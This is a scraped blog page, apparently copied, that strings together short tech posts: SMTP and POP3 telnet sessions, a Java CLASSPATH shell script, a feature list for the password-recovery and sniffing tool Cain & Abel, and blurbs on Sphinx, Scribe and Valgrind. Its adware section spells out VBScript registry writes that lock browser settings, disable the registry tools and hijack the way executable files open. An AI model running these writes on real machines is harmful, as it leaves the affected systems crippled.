Thanks to the developer for this awesome tool !!

Send Email Using Telnet

It is very straightforward to send email using telnet if you know some simple SMTP command

> telnet smtp.server.com 25

S: 220 smtp.server.com ESMTP Postfix
C: HELO relay.yogyacarderlink.web.id
S: 250 Hello relay.twit88.com, I am glad to meet you
C: MAIL FROM:
S: 250 Ok
C: RCPT TO:
S: 250 Ok
C: DATA
S: 354 End data with .
C: From: "Admin" 
C: To: Anyone
C: Cc: another@yahoo.com
C: Date: Tue, 27 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Anyone
C: This is a test message
C: .
S: 250 Ok: queued as 11111
C: MAIL FROM:
S: 250 Ok
C: RCPT TO:
S: 250 Ok
C: DATA
S: 354 End data with .
C: From: "Admin" 
C: To: Anyone
C: Cc: another@yahoo.com
C: Date: Tue, 27 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Anyone
C: This is a test message
C: .
S: 250 Ok: queued as 11112
C: QUIT
S: 221 Bye

RFC 0821 describes the SMTP protocol in details.

Access Your Email Using Telnet

This is a simple trick that you may already know. It is very easy to access your email if your email server supports POP3 protocol. By right all email servers should support this protocol. The default port for POP3 is 110.

$ telnet pop.myserver.com 110
Trying 16.1.3.4...
Connected to pop.myserver.com.
Escape character is '^]'.
+OK QPOP (version 2.4) at pop.myserver.com starting.
USER twit88
+OK Password required for twit80
PASS mypassword
+OK twit88 has 3 messages (12248 octets).
STAT
+OK 3 1548
LIST
+OK 3 messages (12248 octets)
1 344
2 386
3 ...
.
TOP 1 10
+OK 344 octets
Return-Path:
Received: (from anyone@localhost)
by pop.myserver.com (8.8.8/8.8.8) id SAA29469
for user.123; Wed, 3 Dec 2008 18:54:54 -0500 (EST)
Date: Wed, 3 Dec 1997 18:54:54 -0500 (EST)
From: anyone
Message-Id: <199712032354.SAA29469@pop.myserver.com>
X-Real-To: twit88
Subject: Hi!
X-UIDL: b7bf8f395f5fea1e6ad4964ca202e979
Status: U

.

USER userid
First command to supply your e-mail userid (not the full e-mail address). Example: USER twit88
PASS password
Next command after USER. Supply your e-mail password. The password may be case sensitive.
STAT
The response to this is: +OK #msgs #bytes Where #msgs is the number of messages in the mail box and #bytes is the total bytes used by all messages. Sample response: +OK 3 345910
LIST
The response to this lists a line for each message with its number and size in bytes, ending with a period on a line by itself. Sample response:
+OK 2 messages
1 15
2 10000
RETR msg#
Display the message
TOP msg# #lines
Optional POP3 command. Not all POP3 servers support it. It lists the header for msg# and the first #lines of the message text. For example, TOP 1 10 would list the headers and first 10 lines of the message text.
DELE msg#
This marks message number msg# for deletion from the server. This is the way to get rid a problem causing message. It is not actually deleted until the QUIT command is issued. If you lose the connection to the mail server before issuing the QUIT command, the server should not delete anymessages. Example: DELE 5
RSET
This resets (unmarks) any messages previously marked for deletion in this session so that the QUIT command will not delete them.
QUIT
This deletes any messages marked for deletion, and then logs you off of the mail server. This is the last command to use. This does not disconnect you from the ISP, just the mailbox.
POP3 protocol is described in details in RFC 1939.

Unix: Shell Script to build CLASSPATH Dynamically

This is the script I used before for my legacy Java applications running on non-JDK 1.6 platform. In JDK1.6+, we can use a wildcard to include all jars in a directory. E.g.

java -classpath C:\jar_dir\*

#!/bin/sh

buildClassPath() {
        jar_dir=$1
        if [ $# -ne 1 ]; then
                echo "Jar directory must be specified."
                exit 1
        fi
        class_path=
        c=1
        for i in `ls $jar_dir/*.jar`
        do
                if [ "$c" -eq "1" ]; then
                        class_path=${i}
                        c=2
                else
                        class_path=${class_path}:${i}
                fi
        done
        echo $class_path
        #return $class_path
}

CP=`buildClassPath /tmp/lib`
echo $CP

A similiar output as below

/tmp/lib/log4j.jar:/tmp/lib/commons-io.jar:
/tmp/lib/commons-http-client.jar

A good reference can be found here.

Cain & Abel - A useful hacking tool

This is the tool I used sometimes to recover passwords that I have forgotten. I do not encourage hacking. This tool is actually considered a backdoor sometimes by some of the security software in the market. Personally I think it is useful, but people tend to abuse it.
Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols.
Cain & Abel has been developed in the hope that it will be useful for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons.

The tool is divided into 2, namely Cain, and Abel.
Cain’s features

Protected Storage Password Manager
Reveals locally stored passwords of Outlook, Outlook Express, Outlook Express Identities, Outlook 2002, Internet Explorer and MSN Explorer.
Credential Manager Password Decoder
Reveals passwords stored in Enterprise and Local Credential Sets on Windows XP/2003.
LSA Secrets Dumper
Dumps the contents of the Local Security Authority Secrets.
Dialup Password Decoder
Reveals passwords stored by Windows “Dial-Up Networking” component.
APR (ARP Poison Routing)
Enables sniffing on switched networks and Man-in-the-Middle attacks.
Route Table Manager
Provides the same functionality of the Windows tool “route.exe” with a GUI front-end.
SID Scanner
Extracts user names associated to Security Identifiers (SIDs) on a remote system.
Network Enumerator
Retrieves, where possible, the user names, groups, shares, and services running on a machine.
Service Manager
Allows you to stop, start, pause/continue or remove a service.
Sniffer
Captures passwords, hashes and authentication information while they are transmitted on the network. Includes several filters for application specific authentications and routing protocols. The VoIP filter enables the capture of voice conversations transmitted with the SIP/RTP protocol saved later as WAV files.
Routing Protocol Monitors
Monitors messages from various routing protocols (HSRP, VRRP, RIPv1, RIPv2, EIGRP, OSPF) to capture authentications and shared route tables.
Full RDP sessions sniffer for APR (APR-RDP)
Allows you to capture all data sent in a Remote Desktop Protocol (RDP) session on the network. Provides interception of keystrokes activity client-side.
Full SSH-1 sessions sniffer for APR (APR-SSH-1)
Allows you to capture all data sent in a HTTPS session on the network.
Full HTTPS sessions sniffer for APR (APR-HTTPS)
Allows you to capture all data sent in a HTTPS session on the network.
Certificates Collector
Grab certificates from HTTPS web sites and prepares them to be used by APR-HTTPS.
MAC Address Scanner with OUI fingerprint
Using OUI fingerprint, this makes an informed guess about what type of device the MAC address from.
Promiscuous-mode Scanner based on ARP packets
Identifies sniffers and network Intrusion Detection systems present on the LAN.
Wireless Scanner
Can scan for wireless networks signal within range, giving details on its MAC address, when it was last seen, the guessed vendor, signal strength, the name of the network (SSID), whether it has WEP or not (note WPA encrypted networks will show up as WEPed), whether the network is an Ad-Hoc network or Infrastructure, what channel the network is operating at and at what speed the network is operating (e.g. 11Mbps). Passive scanning and WEP IVs sniffing are also supported using the AirpCap adapter from CACE Technologies.
802.11 Capture Files Decoder
Decode 802.11 capture files (wireshark, pcap) containing wireless frames encrypted with WEP or WPA-PSK.
Access (9x/2000/XP) Database Passwords Decoder
Decodes the stored encrypted passwords for Microsoft Access Database files.
Base64 Password Decoder
Decodes Base64 encoded strings.
Cisco Type-7 Password Decoder
Decodes Cisco Type-7 passwords used in router and switches configuration files.
Cisco VPN Client Password Decoder
Decodes Cisco VPN Client passwords stored in connection profiles (*.pcf).
VNC Password Decoder
Decodes encrypted VNC passwords from the registry.
Enterprise Manager Password Decoder
Decodes passwords used by Microsoft SQL Server Enterprise Manager (SQL 7.0 and 2000 supported).
Remote Desktop Password Decoder
Decodes passwords in Remote Desktop Profiles (.RPD files).
PWL Cached Password Decoder
Allows you to view all cached resources and relative passwords in clear text either from locked or unlocked password list files.
Password Crackers
Enables the recovery of clear text passwords scrambled using several hashing or encryption algorithms. All crackers support Dictionary and Brute-Force attacks.
Cryptanalysis attacks
Enables password cracking using the ‘Faster Cryptanalytic time – memory trade off’ method introduced by Philippe Oechslin. This cracking technique uses a set of large tables of pre calculated encrypted passwords, called Rainbow Tables, to improve the trade-off methods known today and to speed up the recovery of clear text passwords.
WEP Cracker
Performs Korek’s WEP Attack on capture 802.11 capture files containing WEP initialization vectors.
Rainbowcrack-online client
Enables password cracking by mean of the outstanding power of this on-line cracking service based on RainbowTable technology.
NT Hash Dumper + Password History Hases (works with Syskey enabled)
Will retrieve the NT password hash from the SAM file regardless of whether Syskey in enabled or not.
Syskey Decoder
Will retrieve the Boot Key used by the SYSKEY utility from the local registry or “off-line” SYSTEM files.
MSCACHE Hashes Dumper
Will retrieve the MSCACHE password hashes stored into the local registry.
Wireless Zero Configuration Password Dumper
Will retrieve the wireless keys stored by Windows Wireless Configuration Service.
Microsoft SQL Server 2000 Password Extractor via ODBC
Connects to an SQL server via ODBC and extracts all users and passwords from the master database.
Oracle Password Extractor via ODBC
Connects to an Oracle server via ODBC and extracts all users and passwords from the database.
MySQL Password Extractor via ODBC
Connects to an MySQL server via ODBC and extracts all users and passwords from the database.
Box Revealer
Shows passwords hidden behind asterisks in password dialog boxes.
RSA SecurID Token Calculator
Can calculate the RSA key given the tokens .ASC file.
Hash Calculator
Produces the hash values of a given text.
TCP/UDP Table Viewer
Shows the state of local ports (like netstat).
TCP/UDP/ICMP Traceroute with DNS resolver and WHOIS client
A improved traceroute that can use TCP, UDP and ICMP protocols and provides whois client capabilities.
Cisco Config Downloader/Uploader (SNMP/TFTP)
Downloads or uploads the configuration file from/to a specified Cisco device (IP or host name) given the SNMP read/write community string.

Abel features

Remote Console
Provides a remote system shell on the remote machine.
Remote Route Table Manager
Enable to manage the route table of the remote system.
Remote TCP/UDP Table Viewer
Shows the state of local ports (like netstat) on the remote system.
Remote NT Hash Dumper + Password History Hases (works with Syskey enabled)
Will retrieve the NT password hash from the SAM file regardless of whether Syskey in enabled or not; works on the Abel-side.
Remote LSA Secrets Dumper
Dumps the contents of the Local Security Authority Secrets present on the remote system.

14 Windows Registry Commonly used by Malicious Adware

Download Sample

Most of us have the experience of after visiting certain websites, our IE settings like the main page, title or some of the Windows settings are changed. This happened specially in the early age of Internet usage. Now there are lots of tools that can help to prevent this, but it is important that as programmer or system engineer that you understand what are actually being changed by these malicious adware or spyware.

1. WshShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\
Policies\System\DisableRegistryTools”,”1″ ,”REG_DWORD”

This is really bad. It prevents you from using Windows Registry tool anymore.

2. WshShell.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://twit88.com/blog”, “REG_SZ”

This sets your IE start page to the desired website.

3. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage”,”1″,”REG_DWORD”

This prevents you from changing IE home page.

4. WshShell.RegWrite “HKLM\Software\Microsoft\Internet Explorer\Main\Window Title”, “Your IE Title is changed”, “REG_SZ”

This changes your IE window title.

5. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu”,”1″,”REG_DWORD”

This disables your browser right click context menu.

6. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions”,”1″,”REG_DWORD”

This is bad ! You cannot use your Tool | Internet Options anymore

7. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen”,”1″,”REG_DWORD”

This prevents you from using File | Open

8. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs”,”1″,”REG_DWORD”

This prevents you from using File | Save As

9. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced”,”1″,”REG_DWORD”

This disables Tools | Internet Options | Advanced tab

10. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab”,”1″,”REG_DWORD”

This hides Tools | Internet Options | Security tab

11. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings”,”1″,”REG_DWORD”

This disallows you to reset Web Settings

12. WshShell.RegWrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource”,”1″,”REG_DWORD”

This disables you from viewing the page source.

13. WshShell.RegWrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Hello!”,”REG_SZ”
WshShell.RegWrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”Your are hacked”,”REG_SZ”

This sets your Windows login legal notice caption and text

14. WshShell.RegWrite “HKCR\exefile\shell\open\command\”,”xx %1 %*”,”REG_SZ”

This is also bad ! It disables the computer from running any programs. If you are not familiar with the Registry, then you may have to re-install Windows!!

PDUSpy - A useful utility for SMS programming

PDUSpy is a tool to that can be used to send SMS through your GSM modem or cellphone, and encode/decode PDU string found in GSM SMS. It can read SMS message from your GSM modem or cellphone.

For anyone who need to do SMS programming, I would highly recommend this tool.

The interface is quite technical, but you should be able to use by reading the documentation at http://www.nobbi.com/pduspy.htm

Sphinx: Open Source SQL Full Text Search Engine

Sphinx is a full-text search engine. It is a standalone search engine, meant to provide fast, size-efficient and relevant full-text search functions to other applications. Sphinx was specially designed to integrate well with SQL databases and scripting languages.
Currently built-in data source drivers support fetching data either via direct connection to MySQL, or PostgreSQL, or from a pipe in a custom XML format. Adding new drivers (eg. to natively support some other DBMSes) is designed to be as easy as possible.
Search API is natively ported to PHP, Python, Perl, Ruby, Java, and also available as a pluggable MySQL storage engine. API is very lightweight so porting it to new language is known to take a few hours.
It features

high indexing speed (upto 10 MB/sec on modern CPUs)
high search speed (avg query is under 0.1 sec on 2-4 GB text collections)
high scalability (upto 100 GB of text, upto 100 M documents on a single CPU)
supports distributed searching (since v.0.9.6)
supports MySQL natively (MyISAM and InnoDB tables are both supported)
supports phrase searching
supports phrase proximity ranking, providing good relevance
supports English and Russian stemming
supports any number of document fields (weights can be changed on the fly)
supports document groups
supports stopwords
supports different search modes (”match all”, “match phrase” and “match any” as of v.0.9.5)
generic XML interface which greatly simplifies custom integration
pure-PHP (ie. NO module compiling etc) search client API

Currently known systems Sphinx has been successfully running on are:

Linux 2.4.x, 2.6.x (various distributions)
Windows 2000, XP
FreeBSD 4.x, 5.x, 6.x
NetBSD 1.6, 3.0
Solaris 9, 11
Mac OS X

Aggregating Log Data from Multiple Servers using Scribe

New SMS Library at http://twit88.com/platform/projects/show/messagingtoolkit !

Current Article

Aggregating Log Data from Multiple Servers using Scribe

By admin on Oct 27, 2008 in C/C++, open source

Scribe is a server for aggregating log data streamed in real time from a large number of servers. It is designed to be scalable, extensible without client-side modification, and robust to failure of the network or any specific machine.Scribe was developed at Facebook and released as open source.
Scribe is implemented as a thrift service using the non-blocking C++ server. The installation at Facebook runs on thousands of machines and reliably delivers tens of billions of messages a day. If you use the site, you’ve usedScribe.

Open Source GIS Library

TerraLib is a GIS classes and functions library, available from the Internet as open source, allowing a collaborative environment and its use for the development of multiple GIS tools. Its main aim is to enable the development of a new generation of GIS applications, based on the technological advances on spatial databases.

On a practical side, TerraLib enables quick development of custom-built geographical applications using spatial databases. As a research tool, TerraLib is aimed at providing a rich and powerful environment for the development of GIScience research, enabling the development of GIS prototypes that include new concepts such as spatio-temporal data models, geographical ontologies and advanced spatial analysis techniques. TerraLib defines a geographical data model and provides support for this model over a range of different DBMS (MySQL, PostgreSQL, ORACLE e ACCESS), and is implemented as a library of C++ classes and functions, written in ANSI-C++ (INCITS / ISO/ IEC 14882:1998).
TerraLib is being developed by DPI (Image Processing Division) at INPE (National Institute for Space Research), Tecgraf , the Computer Graphics Technology Group of PUC-Rio (the Pontifical Catholic University of Rio de Janeiro in Brazil) and FUNCATE (Foundation for the Space Science, Applied Research and Technology).

Open Source C++ Analysis Tool

Valgrind is an award-winning instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools.

The Valgrind distribution currently includes six production-quality tools: a memory error detector, two thread error detectors, a cache and branch-prediction profiler, a call-graph generating cache profiler, and a heap profiler. It also includes one experimental tool, which detects out of bounds reads and writes of stack, global and heap arrays. It runs on the following platforms: X86/Linux, AMD64/Linux, PPC32/Linux, PPC64/Linux.
Valgrind is Open Source / Free Software, and is freely available under the GNU General Public License, version 2.

Memcheck

Memcheck detects memory-management problems, and is aimed primarily at C and C++ programs. When a program is run under Memcheck’s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:

Accesses memory it shouldn’t (areas not yet allocated, areas that have been freed, areas past the end of heap blocks, inaccessible areas of the stack).
Uses uninitialised values in dangerous ways.
Leaks memory.
Does bad frees of heap blocks (double frees, mismatched frees).
Passes overlapping source and destination memory blocks to memcpy() and related functions.

Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialisation of values at the bit-level. As a result, it can detect the use of single uninitialised bits, and does not report spurious errors on bitfield operations. Memcheck runsprograms about 10–30x slower than normal.

Cachegrind

Cachegrind is a cache profiler. It performs detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code. It identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries. It is useful withprograms written in any language. Cachegrind runs programs about 20–100x slower than normal.

Callgrind

Callgrind, by Josef Weidendorfer, is an extension to Cachegrind. It provides all the information that Cachegrind does, plus extra information about callgraphs. It was folded into the main Valgrind distribution in version 3.2.0. Available separately is an amazing visualisation tool, KCachegrind, which gives a much better overview of the data that Callgrind collects; it can also be used to visualise Cachegrind’s output.

Massif

Massif is a heap profiler. It performs detailed heap profiling by taking regular snapshots of a program’s heap. It produces a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations. The graph is supplemented by a text or HTML file that includes more information for determining where the most memory is being allocated.Massif runs programs about 20x slower than normal.

Helgrind

Helgrind is a thread debugger which finds data races in multithreaded programs. It looks for memory locations which are accessed by more than one (POSIX p-)thread, but for which no consistently used (pthread_mutex_) lock can be found. Such locations are indicative of missing synchronisation between threads, and could cause hard-to-find timing-dependent problems. It is useful for any program that uses pthreads. It is a somewhat experimental tool, so your feedback is especially welcome here.

Lackey, Nulgrind

Lackey and Nulgrind are also included in the Valgrind distribution. They don’t do very much, and are there for testing and demonstrative purposes.

Current Article

Memcheck

Cachegrind

Callgrind

Massif

Helgrind

Lackey, Nulgrind

Waktu

Update

About Me

Total Pageviews

Label

Arsip Blog

Gunadarma